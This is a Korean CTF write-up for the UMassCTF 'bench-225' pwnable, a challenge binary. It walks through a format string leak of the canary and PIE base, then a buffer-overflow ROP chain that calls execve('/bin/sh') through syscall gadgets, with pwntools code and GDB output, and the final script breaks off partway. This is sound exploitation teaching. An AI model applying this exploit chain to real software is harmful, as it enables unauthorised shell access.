[UMassCTF] bench-255

Sisyphus·2024년 5월 8일

CTF

목록 보기
4/4

보호 기법

❯ checksec bench-225
[*] '/root/workspace/CTF/UMassCTF/pwnable/bench-225/bench-225'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • 모든 보호 기법이 다 걸려 있습니다.


코드 분석

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  index = 0;
  puts(" __                                      __                ______    ______   _______  ");
  puts("/  |                                    /  |              /      \\  /      \\ /       | ");
  puts("$$ |____    ______   _______    _______ $$ |____         /$$$$$$  |/$$$$$$  |$$$$$$$/  ");
  puts("$$      \\  /      \\ /       \\  /       |$$      \\  ______$$____$$ |$$____$$ |$$ |____  ");
  puts("$$$$$$$  |/$$$$$$  |$$$$$$$  |/$$$$$$$/ $$$$$$$  |/      |/    $$/  /    $$/ $$      \\ ");
  puts("$$ |  $$ |$$    $$ |$$ |  $$ |$$ |      $$ |  $$ |$$$$$$//$$$$$$/  /$$$$$$/  $$$$$$$  |");
  puts("$$ |__$$ |$$$$$$$$/ $$ |  $$ |$$ \\_____ $$ |  $$ |       $$ |_____ $$ |_____ /  \\__$$ |");
  puts("$$    $$/ $$       |$$ |  $$ |$$       |$$ |  $$ |       $$       |$$       |$$    $$/ ");
  puts("$$$$$$$/   $$$$$$$/ $$/   $$/  $$$$$$$/ $$/   $$/        $$$$$$$$/ $$$$$$$$/  $$$$$$/  ");
  putchar('\n');
  puts("Grind doesn't stop.");
  putchar('\n');
  g_Barbell = 0;
  goalWeight = 225;
  stamina = 140;
  maxWeight = 315;
  reps = 25;
  currentReps = 0;
  while ( 1 )
  {
    puts("====================================");
    puts("Name: Gary Goggins");
    printf("Goal: %d lbs x %d reps\n", goalWeight, reps);
    printf("Current Weight: %d\n", g_Barbell);
    printf("Rep: %d/%d\n", currentReps, reps);
    printf("Stamina: %d\n", stamina);
    puts("====================================");
    putchar(10);
    puts("Choose an option:");
    puts("1. Add 10s");
    puts("2. Add 25s");
    puts("3. Add 45s");
    puts("4. Bench");
    puts("5. Remove Plate");
    if ( stamina <= 49u && g_Barbell >= goalWeight )
      puts("6. Motivational Quote");
    __isoc99_scanf("%d", &index);
    switch ( index )
    {
      case 1:
        add_10s();
        break;
      case 2:
        add_25s();
        break;
      case 3:
        add_45s();
        break;
      case 4:
        if ( stamina )
          bench();
        else
          puts("You are too tired to continue.");
        break;
      case 5:
        printf("\x1B[2J");
        puts("Weakness is a choice.");
        break;
      case 6:                                   // BOF Trigger
        if ( stamina <= 49u && g_Barbell >= goalWeight )
          motivation();
        break;
      default:
        puts("Invalid choice.");
        break;
    }
  }
}
  • 선택할 수 있는 옵션을 출력합니다.
  • 인덱스를 입력 받습니다.
    • 1 을 선택하면 add_10s() 함수를 호출
    • 2 를 선택하면 add_25s() 함수를 호출
    • 3 을 선택하면 add_45s() 함수를 호출
    • 4 를 선택하면 stamina0 이 아닐 때 bench() 함수를 호출
    • 5 를 선택하면 문자열을 출력하고 종료
    • 6 을 선택하면 stamina49 이하이고 g_BarbellgoalWeight 이상인지 확인
      • 위 조건을 만족하면 motivation() 함수 호출

add_10s

void add_10s()
{
  printf("\x1B[2J");
  puts("Adding 10s");
  if ( g_Barbell + 9 >= maxWeight )
  {
    puts("On second thought... they don't allow that at this gym.");
    exit(0);
  }
  g_Barbell += 10;
  currentReps = 0;
}
  • g_Barbell + 9maxWeight 이상이면 종료
  • 아니면 g_Barbell10 을 더함
  • currentReps0 으로 초기화

add_25s

void add_25s()
{
  printf("\x1B[2J");
  puts("Adding 25s");
  if ( g_Barbell + 24 >= maxWeight )
  {
    puts("On second thought... they don't allow that at this gym.");
    exit(0);
  }
  g_Barbell += 25;
  currentReps = 0;
}
  • g_Barbell + 24maxWeight 이상이면 종료
  • 아니면 g_Barbell25 를 더함
  • currentReps0 으로 초기화

add_45s

void add_45s()
{
  printf("\x1B[2J");
  puts("Adding 45s");
  if ( g_Barbell + 44 >= maxWeight )
  {
    puts("On second thought... they don't allow that at this gym.");
    exit(0);
  }
  g_Barbell += 45;
  currentReps = 0;
}
  • g_Barbell + 44maxWeight 이상이면 종료
  • 아니면 g_Barbell45 를 더함
  • currentReps0 으로 초기화

bench

void __fastcall bench()
{
  int random; // eax
  __int16 staminaNeeded; // [rsp+6h] [rbp-Ah]

  printf("\x1B[2J");
  if ( currentReps == reps )
    puts("You already finished the set, but okay...");
  if ( g_Barbell )
  {
    if ( g_Barbell > maxWeight )
    {
      printTextBox("CENSORED");
      puts("The barbell bent once you picked it up. What a miracle. I think we're done here...");
      exit(0);
    }
    if ( stamina )
    {
      staminaNeeded = calculate_stamina_needed();
      if ( (stamina - staminaNeeded) > 0 )
      {
        stamina -= staminaNeeded;
      }
      else
      {
        puts("Barely made that one...");
        stamina = 0;
      }
      puts("Benching...");
      ++currentReps;
      if ( g_Barbell >= goalWeight && currentReps >= reps / 2.0 )
      {
        random = rand();
        printTextBox((&g_Quotes)[random % 4]);
      }
      printf("Stamina: %d\n", stamina);
      puts(&byte_46B8);
      puts(&byte_4748);
      puts(&byte_47D8);
      puts(&byte_4868);
      puts(&byte_48F8);
      puts(&byte_4988);
      puts(&byte_4A18);
      puts(&byte_4AA8);
      puts(&byte_4B38);
      puts(&byte_4BC8);
      puts(&byte_4C58);
      puts(&byte_4CE8);
      puts(&byte_4D78);
      puts(&byte_4E08);
      puts(&byte_4E98);
      puts(&byte_4F28);
      puts(&byte_4FB8);
      puts(&byte_5048);
      puts(&byte_50D8);
      putchar('\n');
      if ( currentReps >= reps )
        puts("You have completed the set!");
    }
    else
    {
      puts("You are too tired to bench this.");
    }
  }
  else
  {
    puts("You need to add some weight first.");
  }
}
  • currentReps 인 현재 반복 횟수가 reps 인 세트당 반복 횟수랑 같으면 세트가 끝났다는 문자열 출력
  • g_Barbell 인 현재 바벨 무게가 maxWeight 인 헬스장에 있는 모든 바벨 무게 합보다 크면 에러 메시지를 출력하고 종료한다.
  • stamina 인 체력이 0 이 아니면 현재 무게로 벤치프레스를 하는데 필요한 체력을 calculate_stamina_needed() 함수를 호출하여 계산한다.
  • stamina 인 현재 체력이 staminaNeeded 인 필요 체력보다 크면 현재 체력에서 필요 체력을 뺀다.
  • 아니면 현제 체력인 stamina0 을 대입한다.
  • currentReps 인 현재 반복 횟수를 증가시킨다.

motivation

void motivation()
{
  int v0; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  printf("Enter your motivational quote: ");
  do
    v0 = getchar();
  while ( v0 != '\n' && v0 != -1 );
  fgets(buf, 1000, stdin);                      // BOF
  printf("\x1B[2J");
  printf("Quote: \"");
  printf(buf);                                  // FSB
  printf("\" - Gary Goggins");
  puts("...........................................................................:::::::::::::------------");
  puts("............................................................................::::::::::::------------");
  puts("............................................................................::::::::::::------------");
  puts("............................................................................:::::::::::-------------");
  puts(".....................................................=+++===.................::::::::::-------------");
  puts("..................................................++#**+++=====-............:::::::::::-------------");
  puts("................................................+####***+========-..........:::::::::::-------------");
  puts("...............................................+##%##**+====-======.........:::::::::::-------------");
  puts("..............................................+%##%%**++=-------===-.........::::::::::-------------");
  puts("..............................................##%%%%#*++===---=====+.........::::::::::-------------");
  puts("..............................................*%%%%%#***++=----====+........:::::::::::-------------");
  puts("..............................................+#%%%%#+=++===---===++........:::::::::::-------------");
  puts("..............................................+*#@@@@%#*+++*##*+=+=:-.......:::::::::::-------------");
  puts("............................................:%%*%%%#**%%#-=*#@@*=-=--#......:::::::::::-------------");
  puts("............................................-%##%%%%+-#%*---***=--====......:::::::::::-------------");
  puts(".............................................@%#%%#***%%*----==---==+:......:::::::::::-------------");
  puts(".............................................#%#%%####%%+--=-==--===-........::::::::::-------------");
  puts("..............................................=*%%%%%%%@#+%*-======:.........::::::::::-------------");
  puts("...............................................:#%%%%%%%#*+=--=====..........::::::::::-------------");
  puts("................................................%%%%%%%%%+++-======..........::::::::::-------------");
  puts("................................................#%%%%@%#+==-======+..........::::::::::-------------");
  puts(".................................................%%%%%%%%#*====++==:.........::::::::::-------------");
  puts(".................................................%@%%%%%**+====++==++*=-....:::::::::::-------------");
  puts("..............................................:#%%@@@%%@%%%#**+======*=+-=--::::::::::::------------");
  puts("..........................................:**%%%@%%@@%%%@%#+==++=====#++*+-==---::::::::------------");
  puts(".....................................-+**%%%%%%@@@@@@@%%%#*+=+++=====+++++==++++-==::::-------------");
  puts(".................................-+*#%#%%#%%%@%@@@@@@@%%%%#++++++++=++=====+++=+======--::---:------");
  puts("..............................:*#%#%%%%%@@@%%%@%@@@@@@%%%%%##*++++=*+*++=+=+==++=========-::--:-----");
  puts("............................-#%#%%%%%@@%%%%%%%%%%%%@%@%#%%%%#*++=*++++====**++**+====+=-=--::-:-----");
  puts("...........................*####%#%%%%%@%@%%%#*##*#*++#==*%%#++=***=*=++++#=#**+=+*====--=--:-------");
  puts("..........................=#####*#####%#%#@%%%%#*#***+*==+%##**+**=*#*+*+%=*##+#+*++======---:------");
  puts("..........................######%@*####*#%@%%*##*##***+*+*%%##***+*+#++=#+=%%*%**+*+=+===-:==:------");
  puts(".........................=%#@*%#*%**#**##%%%#**#**%#***#*#*#%#**+++**+*+%=#%*#***#++*=+-+==--:------");
  puts(".........................#%%##%*#%%++***#%@%+*#%**#%*=*+#**+###**=***++%#*%%+%@%**%*++*=+=----------");
  puts(".........................#%%*@*%+#@++**+#%%%*+#%*++%%*=+%*+***+*+++*+**%*#@*%%%%##*#***==+==::------");
  puts(".........................#%%%#@*%*%*+%++*%%#**##***##%#+++*###+*+****+##*%@+%@%@%%%#+**=====--------");
  puts(".........................%#@%@%%##@#+%#=*@%#**#%#+=###%#****#*+#*##+*=#%#@%=%@@@@@%%*#*++==---------");
  puts("........................+*%#%%%*@**@*%%=%%#**##%#=++##*%%*###***###***###@#+#@@@@@#%##*++===--------");
  puts("........................%%%@%+@%%%%@#@%+%%#*###%#**#%%####%##*####*++#%#%@*+*%@@@@%%%+==*+=-=-------");
  puts("........................%%@%%@@*#@%@%@%#%###*%%##**##%##*#%%*##*##***#%#@%**#%@@*#%%%**++==+-==-----");
}
  • fgets 함수 호출 부분을 봐보면 buf 변수의 크기는 8 인데, 1000 크기의 입력을 받고 있어서 BOF 취약점이 발생합니다.

  • printf(buf) 를 보면 buf 가 문자열인데, 형식지정자 없이 그대로 출력하고 있기 때문에, Format String Bug가 발생합니다.

    → Format String Bug를 이용해서 Base Address를 릭한 후 BOF를 이용해서 쉘을 따면 될거 같습니다.



취약점 트리거

motivation

void motivation() {
	...
    fgets(buf, 1000, stdin);                      // BOF
	...
    printf(buf);                                  // FSB
    ...
}
  • motivation() 함수에 취약점이 존재하기 때문에, 해당 함수를 호출하면 취약점을 트리거 할 수 있습니다.

main

      case 6:                                   // BOF Trigger
        if ( stamina <= 49u && g_Barbell >= goalWeight )
          motivation();
  • motivation() 함수 호출 조건을 통과하기 위해서는 stamina 값을 49 이하로 만들어야 하고 g_Barbell 값을 225 이상으로 만들어야 합니다.

add_45s

void add_45s()
{
  printf("\x1B[2J");
  puts("Adding 45s");
  if ( g_Barbell + 44 >= maxWeight )
  {
    puts("On second thought... they don't allow that at this gym.");
    exit(0);
  }
  g_Barbell += 45;
  currentReps = 0;
}
  • add_45s() 함수를 이용하면 g_Barbell 값을 45 씩 증가시킬 수 있습니다.
  • 해당 함수를 총 5번 호출하면 조건을 만족할 수 있습니다.

bench

void __fastcall bench() {
	...
    if ( stamina )
    {
      staminaNeeded = calculate_stamina_needed();
      if ( (stamina - staminaNeeded) > 0 )
      {
        stamina -= staminaNeeded;
      }
      else
      {
        puts("Barely made that one...");
        stamina = 0;
      }
      puts("Benching...");
      ++currentReps;
      ...
}
  • 그리고 bench() 함수를 호출하면 stamina 값을 감소시킬 수 있습니다.
  • 그래서 해당 함수를 총 6번 호출하면 위 조건을 만족시킬 수 있습니다.

트리거

====================================
Name: Gary Goggins
Goal: 225 lbs x 25 reps
Current Weight: 225
Rep: 6/25
Stamina: 44
====================================

Choose an option:
1. Add 10s
2. Add 25s
3. Add 45s
4. Bench
5. Remove Plate
6. Motivational Quote
6
Enter your motivational quote: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Quote: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
" - Gary Goggins...........................................................................:::::::::::::------------
............................................................................::::::::::::------------
............................................................................::::::::::::------------
............................................................................:::::::::::-------------
.....................................................=+++===.................::::::::::-------------
..................................................++#**+++=====-............:::::::::::-------------
................................................+####***+========-..........:::::::::::-------------
...............................................+##%##**+====-======.........:::::::::::-------------
..............................................+%##%%**++=-------===-.........::::::::::-------------
..............................................##%%%%#*++===---=====+.........::::::::::-------------
..............................................*%%%%%#***++=----====+........:::::::::::-------------
..............................................+#%%%%#+=++===---===++........:::::::::::-------------
..............................................+*#@@@@%#*+++*##*+=+=:-.......:::::::::::-------------
............................................:%%*%%%#**%%#-=*#@@*=-=--#......:::::::::::-------------
............................................-%##%%%%+-#%*---***=--====......:::::::::::-------------
.............................................@%#%%#***%%*----==---==+:......:::::::::::-------------
.............................................#%#%%####%%+--=-==--===-........::::::::::-------------
..............................................=*%%%%%%%@#+%*-======:.........::::::::::-------------
...............................................:#%%%%%%%#*+=--=====..........::::::::::-------------
................................................%%%%%%%%%+++-======..........::::::::::-------------
................................................#%%%%@%#+==-======+..........::::::::::-------------
.................................................%%%%%%%%#*====++==:.........::::::::::-------------
.................................................%@%%%%%**+====++==++*=-....:::::::::::-------------
..............................................:#%%@@@%%@%%%#**+======*=+-=--::::::::::::------------
..........................................:**%%%@%%@@%%%@%#+==++=====#++*+-==---::::::::------------
.....................................-+**%%%%%%@@@@@@@%%%#*+=+++=====+++++==++++-==::::-------------
.................................-+*#%#%%#%%%@%@@@@@@@%%%%#++++++++=++=====+++=+======--::---:------
..............................:*#%#%%%%%@@@%%%@%@@@@@@%%%%%##*++++=*+*++=+=+==++=========-::--:-----
............................-#%#%%%%%@@%%%%%%%%%%%%@%@%#%%%%#*++=*++++====**++**+====+=-=--::-:-----
...........................*####%#%%%%%@%@%%%#*##*#*++#==*%%#++=***=*=++++#=#**+=+*====--=--:-------
..........................=#####*#####%#%#@%%%%#*#***+*==+%##**+**=*#*+*+%=*##+#+*++======---:------
..........................######%@*####*#%@%%*##*##***+*+*%%##***+*+#++=#+=%%*%**+*+=+===-:==:------
.........................=%#@*%#*%**#**##%%%#**#**%#***#*#*#%#**+++**+*+%=#%*#***#++*=+-+==--:------
.........................#%%##%*#%%++***#%@%+*#%**#%*=*+#**+###**=***++%#*%%+%@%**%*++*=+=----------
.........................#%%*@*%+#@++**+#%%%*+#%*++%%*=+%*+***+*+++*+**%*#@*%%%%##*#***==+==::------
.........................#%%%#@*%*%*+%++*%%#**##***##%#+++*###+*+****+##*%@+%@%@%%%#+**=====--------
.........................%#@%@%%##@#+%#=*@%#**#%#+=###%#****#*+#*##+*=#%#@%=%@@@@@%%*#*++==---------
........................+*%#%%%*@**@*%%=%%#**##%#=++##*%%*###***###***###@#+#@@@@@#%##*++===--------
........................%%%@%+@%%%%@#@%+%%#*###%#**#%%####%##*####*++#%#%@*+*%@@@@%%%+==*+=-=-------
........................%%@%%@@*#@%@%@%#%###*%%##**##%##*#%%*##*##***#%#@%**#%@@*#%%%**++==+-==-----
*** stack smashing detected ***: terminated
  • BOF 취약점이 트리거 되어 stack smashing detected 가 발생했습니다.


Exploit 준비

ROPgadget

❯ ROPgadget --binary ./bench-225 --re "pop rdi"
Gadgets information
============================================================
0x000000000000100c : pop rdi ; add byte ptr [rax], al ; test rax, rax ; je 0x1016 ; call rax
0x0000000000001336 : pop rdi ; ret
❯ ROPgadget --binary ./bench-225 --re "pop rsi"
Gadgets information
============================================================
0x000000000000133a : pop rsi ; ret
0x0000000000001e66 : pop rsi ; retf 0xf66
❯ ROPgadget --binary ./bench-225 --re "pop rdx"
Gadgets information
============================================================
0x0000000000001338 : pop rdx ; ret
❯ ROPgadget --binary ./bench-225 --re "pop rax"
Gadgets information
============================================================
0x000000000000132b : add byte ptr [rax - 0x77], cl ; clc ; xor eax, eax ; pop rax ; ret
0x000000000000132a : add byte ptr [rax], al ; mov qword ptr [rbp - 8], rax ; xor eax, eax ; pop rax ; ret
0x000000000000132f : clc ; xor eax, eax ; pop rax ; ret
0x000000000000132d : mov dword ptr [rbp - 8], eax ; xor eax, eax ; pop rax ; ret
0x000000000000132c : mov qword ptr [rbp - 8], rax ; xor eax, eax ; pop rax ; ret
0x0000000000001332 : pop rax ; ret
0x0000000000001330 : xor eax, eax ; pop rax ; ret
❯ ROPgadget --binary ./bench-225 --re "syscall"
Gadgets information
============================================================
0x000000000000133e : syscall
  • rdi, rsi, rdx, rax 레지스터 값을 세팅할 수 있는 가젯이 있습니다.
  • syscall 가젯이 있습니다.
    →Format String Bug로 PIE Base와 Canary를 Leak하고 위 가젯을 이용해서 syscall로 ROP를 하면 쉘을 딸 수 있을거 같습니다.

익스플로잇 계획

[1] Trigger
[2] Leak Canary
[3] Leak Code Base
[4] Write "/bin/sh" in bss
	read(0, bss, 16)
[5] get shell
	system("/bin/sh")

Format String Bug Offset

Choose an option:
1. Add 10s
2. Add 25s
3. Add 45s
4. Bench
5. Remove Plate
6. Motivational Quote
6
Enter your motivational quote: AAAAAAAA %p %p %p %p %p %p %p %p %p %p

Quote: "AAAAAAAA 0x7ffc783c8090 (nil) 0x7efe7012d887 0x8 (nil) (nil) 0xa783ca1f0 0x4141414141414141 0x2520702520702520 0x2070252070252070
  • offset8 입니다.


Exploit Code

Trigger

def trigger():
    for i in range(5):
        p.sendlineafter(b"5. Remove Plate\n", b'3')

    for i in range(6):
        p.sendlineafter(b"5. Remove Plate\n", b'4')
  • add_45s 를 5번 호출하여 g_Barbell 값을 225 이상으로 세팅
  • bench 를 6번 호출하여 stamina 값을 49 이하로 세팅

Leak

def leak(offset):
    p.sendlineafter(b"6. Motivational Quote\n", b'6')
    
    payload = f'%{offset}$p'.encode("utf-8")
    p.sendlineafter(b"Enter your motivational quote: ", payload)
    
    value = int(
        p.recvuntil(b'Gary Goggins')
        .split(b': ')[1]
        .split(b' -')[0]
        .replace(b'"', b'')
        .replace(b'\n', b'')
        .strip(), 
        16
    )

    return value
  • fgets(buf, 1000, stdin) 로 입력을 받은 후 해당 값을 printf(buf) 로 출력하는 과정에서 포멧 스트링 버그 발생
  • 입력을 받을 때 %{offset}$p 를 페이로드로 전송하여 원하는 위치의 값을 릭할 수 있도록 함수 작성

Leak Canary

카나리 값을 릭하기 위해서는 카나리 값 까지의 offset을 구해야 합니다.
motivation 함수에 있는 카나리 값은 페이로드를 전송하면서 Overwrite 되어 버리기 때문에, main 함수의 카나리 값을 릭 하겠습니다.

───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4e0│+0x0000: 0x0000000000001000   ← $rsp
0x00007fffffffe4e8│+0x0008: 0xae7f7d2ad9ad0c00
0x00007fffffffe4f0│+0x0010: 0x0000000000000001   ← $rbp
0x00007fffffffe4f8│+0x0018: 0x00007ffff7db4d90  →  <__libc_start_call_main+0080> mov edi, eax
0x00007fffffffe500│+0x0020: 0x0000000000000000
0x00007fffffffe508│+0x0028: 0x000055555555535c  →  <main+0000> endbr64
0x00007fffffffe510│+0x0030: 0x00000001ffffe5f0
0x00007fffffffe518│+0x0038: 0x00007fffffffe608  →  0x00007fffffffe820  →  "/root/workspace/CTF/UMassCTF/pwnable/bench-225/ben[...]"
gef➤  canary
[+] The canary of process 15770 is at 0x7ffff7d88768, value is 0xae7f7d2ad9ad0c00
  • main 함수의 카나리 값 주소 : 0x00007fffffffe4e8

────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4b0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffe4b8│+0x0008: 0x0000000affffe4f0
0x00007fffffffe4c0│+0x0010: "AAAAAAAA\n"$rdi
0x00007fffffffe4c8│+0x0018: 0xae7f7d2ad9ad000a ("\n"?)
0x00007fffffffe4d0│+0x0020: 0x00007fffffffe4f0  →  0x0000000000000001    ← $rbp
0x00007fffffffe4d8│+0x0028: 0x00005555555556a1  →  <main+0345> jmp 0x5555555556b4 <main+856>
0x00007fffffffe4e0│+0x0030: 0x0000000600001000
0x00007fffffffe4e8│+0x0038: 0xae7f7d2ad9ad0c00
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555a5b <motivation+009b> lea    rax, [rbp-0x10]
   0x555555555a5f <motivation+009f> mov    rdi, rax
   0x555555555a62 <motivation+00a2> mov    eax, 0x0
 → 0x555555555a67 <motivation+00a7> call   0x555555555150 <printf@plt>
   ↳  0x555555555150 <printf@plt+0000> endbr64
      0x555555555154 <printf@plt+0004> bnd    jmp QWORD PTR [rip+0x5e45]        # 0x55555555afa0 <printf@got.plt>
      0x55555555515b <printf@plt+000b> nop    DWORD PTR [rax+rax*1+0x0]
      0x555555555160 <memset@plt+0000> endbr64
      0x555555555164 <memset@plt+0004> bnd    jmp QWORD PTR [rip+0x5e3d]        # 0x55555555afa8 <memset@got.plt>
      0x55555555516b <memset@plt+000b> nop    DWORD PTR [rax+rax*1+0x0]
  • 페이로드가 들어가는 주소 : 0x00007fffffffe4c0

offset = (canary_address - payload_address) / 8 + fsb_offset
gef➤  p/x (0x00007fffffffe4e8-0x00007fffffffe4c0) / 0x8 + 0x8
$1 = 0xd
  • 카나리 값을 릭하기 위한 offset은 13 입니다.

# [2] Leak Canary
#pause()
canary = leak(13)
slog("canary", canary)
  • leak 함수에 13 을 오프셋으로 전송하여 카나리 값을 릭해줍니다.

Leak Code Base

motivation 함수의 ret 에는 main 함수에서 motivation 함수를 호출한 이후 코드의 주소가 저장되어 있습니다.
그래서 ret 값을 릭하면 code 영역의 주소를 얻을 수 있고 이를 이용하면 code base 값을 구할 수 있습니다.


먼저 ret 값을 구하기 위해서 offset을 계산하겠습니다.

───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4b0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffe4b8│+0x0008: 0x0000000affffe4f0
0x00007fffffffe4c0│+0x0010: "AAAAAAAA\n"$rdi
0x00007fffffffe4c8│+0x0018: 0xdec4bf96cf79000a ("\n"?)
0x00007fffffffe4d0│+0x0020: 0x00007fffffffe4f0  →  0x0000000000000001    ← $rbp
0x00007fffffffe4d8│+0x0028: 0x00005555555556a1  →  <main+0345> jmp 0x5555555556b4 <main+856>
0x00007fffffffe4e0│+0x0030: 0x0000000600001000
0x00007fffffffe4e8│+0x0038: 0xdec4bf96cf799c00
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555a5b <motivation+009b> lea    rax, [rbp-0x10]
   0x555555555a5f <motivation+009f> mov    rdi, rax
   0x555555555a62 <motivation+00a2> mov    eax, 0x0
 → 0x555555555a67 <motivation+00a7> call   0x555555555150 <printf@plt>
   ↳  0x555555555150 <printf@plt+0000> endbr64
      0x555555555154 <printf@plt+0004> bnd    jmp QWORD PTR [rip+0x5e45]        # 0x55555555afa0 <printf@got.plt>
      0x55555555515b <printf@plt+000b> nop    DWORD PTR [rax+rax*1+0x0]
      0x555555555160 <memset@plt+0000> endbr64
      0x555555555164 <memset@plt+0004> bnd    jmp QWORD PTR [rip+0x5e3d]        # 0x55555555afa8 <memset@got.plt>
      0x55555555516b <memset@plt+000b> nop    DWORD PTR [rax+rax*1+0x0]
  • 페이로드가 들어가는 주소 : 0x00007fffffffe4c0

───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4b0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffe4b8│+0x0008: 0x0000000affffe4f0
0x00007fffffffe4c0│+0x0010: "AAAAAAAA\n"$rdi
0x00007fffffffe4c8│+0x0018: 0xdec4bf96cf79000a ("\n"?)
0x00007fffffffe4d0│+0x0020: 0x00007fffffffe4f0  →  0x0000000000000001    ← $rbp
0x00007fffffffe4d8│+0x0028: 0x00005555555556a1  →  <main+0345> jmp 0x5555555556b4 <main+856>
0x00007fffffffe4e0│+0x0030: 0x0000000600001000
0x00007fffffffe4e8│+0x0038: 0xdec4bf96cf799c00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  ret
#0  0x00005555555556a1 in main ()
  • ret 주소 : 0x00007fffffffe4d8

offset = (ret_address - payload_address) / 8 + 8
gef➤  p/x (0x00007fffffffe4d8-0x00007fffffffe4c0) / 8 + 8
$1 = 0xb
  • ret 를 릭하기 위한 offset은 11 입니다.

이제 code base 값을 계산해보면

ret -> main+345
main_address = leak(11) - (main+345_address - main_address)
main_address = leak(11) - (0x00005555555556a1-0x000055555555535c)
main_address = leak(11) - 837

main = code_base + main_offset
code_base = main - main_offset
code_base = leak(11) - 837 - main_offset

# [3] Leak Code Base
#pause()
main = leak(11) - 837
e.address = main - e.symbols['main']
bss = e.bss() + 1000    # + 1000 (avoid overwrite stdout)
slog("code base", e.address)
slog("bss", bss)
  • 최종적으로 파이썬 코드로 작성하면 위에 코드가 됩니다.

Prepare ROP Gadget

# [4] Prepare ROP Gadget
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + e.address
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0] + e.address
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0] + e.address
pop_rax = r.find_gadget(['pop rax', 'ret'])[0] + e.address
syscall = r.find_gadget(['syscall'])[0] + e.address
ret = r.find_gadget(['ret'])[0] + e.address
  • ROP Gadget은 코드 영역에 속합니다. 그래서 PIE 보호 기법이 걸려있을 때는 code base 값을 ROP Gadget에 더해줘야 합니다.
  • 가젯을 보면 syscall 가젯과 pop rax 가젯이 존재합니다. 그래서 굳이 libc base 를 릭해서 system 함수의 주소를 구할 필요 없이 syscall 가젯을 통해 직접 exec 계열의 함수를 호출해서 익스플로잇을 하면 될거 같습니다.

write "/bin/sh" in bss

이제 ROP를 위해 bss 영역에 "/bin/sh" 를 쓰겠습니다.

이때 주의해야 할 점이 stack alignment를 맞춰줘야 합니다. stack alignment가 맞지 않을 경우 movasp 명령어에서 SIGSEGV 가 발생할 수 있습니다.


그리고 bss 영역에 "/bin/sh" 를 작성할 때 bss 영역에 존재하는 stdin, stdout 같은 값들을 덮지 않도록 주의해야 합니다. 이런 값들을 덮어버릴 경우 printf 함수 실행시 SIGSEVG 가 발생할 수 있습니다.

해당 바이너리의 bss 영역 시작 주소를 살펴보면

gef➤  x/s 0x55874212e060
0x55874212e060 <stdout@GLIBC_2.2.5>:    "\200\367\b\017i\177"
  • stdout 값이 저장되어 있습니다.
  • 이 위치에 "/bin/sh" 를 덮어써버리면 익스플로잇에 문제가 발생할 수 있기 때문에, 1000 바이트 뒤에 "/bin/sh" 를 쓰겠습니다.

bss = e.bss() + 1000    # + 1000 (avoid overwrite stdout)

# [4] read(0, bss, 16)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)     # stack alignment
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(16)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall) + p64(ret)
payload += p64(e.symbols['motivation'])

#pause()
p.sendlineafter(b"6. Motivational Quote\n", b'6')
p.sendlineafter(b"Enter your motivational quote: ", payload)
p.sendline(b'/bin/sh\x00')
  • 최종 파이썬 코드입니다.
  • stdout 을 덮는 것을 막기 위해 bss 영역 주소에 +1000을 한 곳에 "/bin/sh" 를 덮어썼습니다.
  • 그리고 stack alignment를 맞추기 위해 페이로드 중간에 ret 가젯을 추가하였습니다.

get shell

이제 쉘을 따는 단계입니다.

# [5] execve("/bin/sh", NULL, NULL)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)

#pause()
p.recvuntil(b"Enter your motivational quote:")
p.sendline(b'A')
p.sendline(payload)
p.clean()
  • syscall 가젯을 이용해서 execve("/bin/sh", NULL, NULL) 코드를 실행시켜 쉘을 따면 됩니다.
  • 여기서 원래 페이로드를 전달할 때, p.sendlineafter() 함수를 사용했었는데, 페이로드를 제대로 전달하지 못하는 문제가 발생했습니다.
  • 그래서 p.recvuntil() 함수와 p.sendline() 함수를 사용해서 페이로드를 전달하도록 하였습니다.

Exploit Code

from pwn import *

binary = "./bench-225"
p = process(binary)
e = ELF(binary)
r = ROP(e)


def slog(sym, val):
    success(sym + ": " + hex(val))


def trigger():
    for i in range(5):
        p.sendlineafter(b"5. Remove Plate\n", b'3')

    for i in range(6):
        p.sendlineafter(b"5. Remove Plate\n", b'4')


def leak(offset):
    p.sendlineafter(b"6. Motivational Quote\n", b'6')
    
    payload = f'%{offset}$p'.encode("utf-8")
    p.sendlineafter(b"Enter your motivational quote: ", payload)
    
    value = int(
        p.recvuntil(b'Gary Goggins')
        .split(b': ')[1]
        .split(b' -')[0]
        .replace(b'"', b'')
        .replace(b'\n', b'')
        .strip(), 
        16
    )

    return value


# [1] Trigger
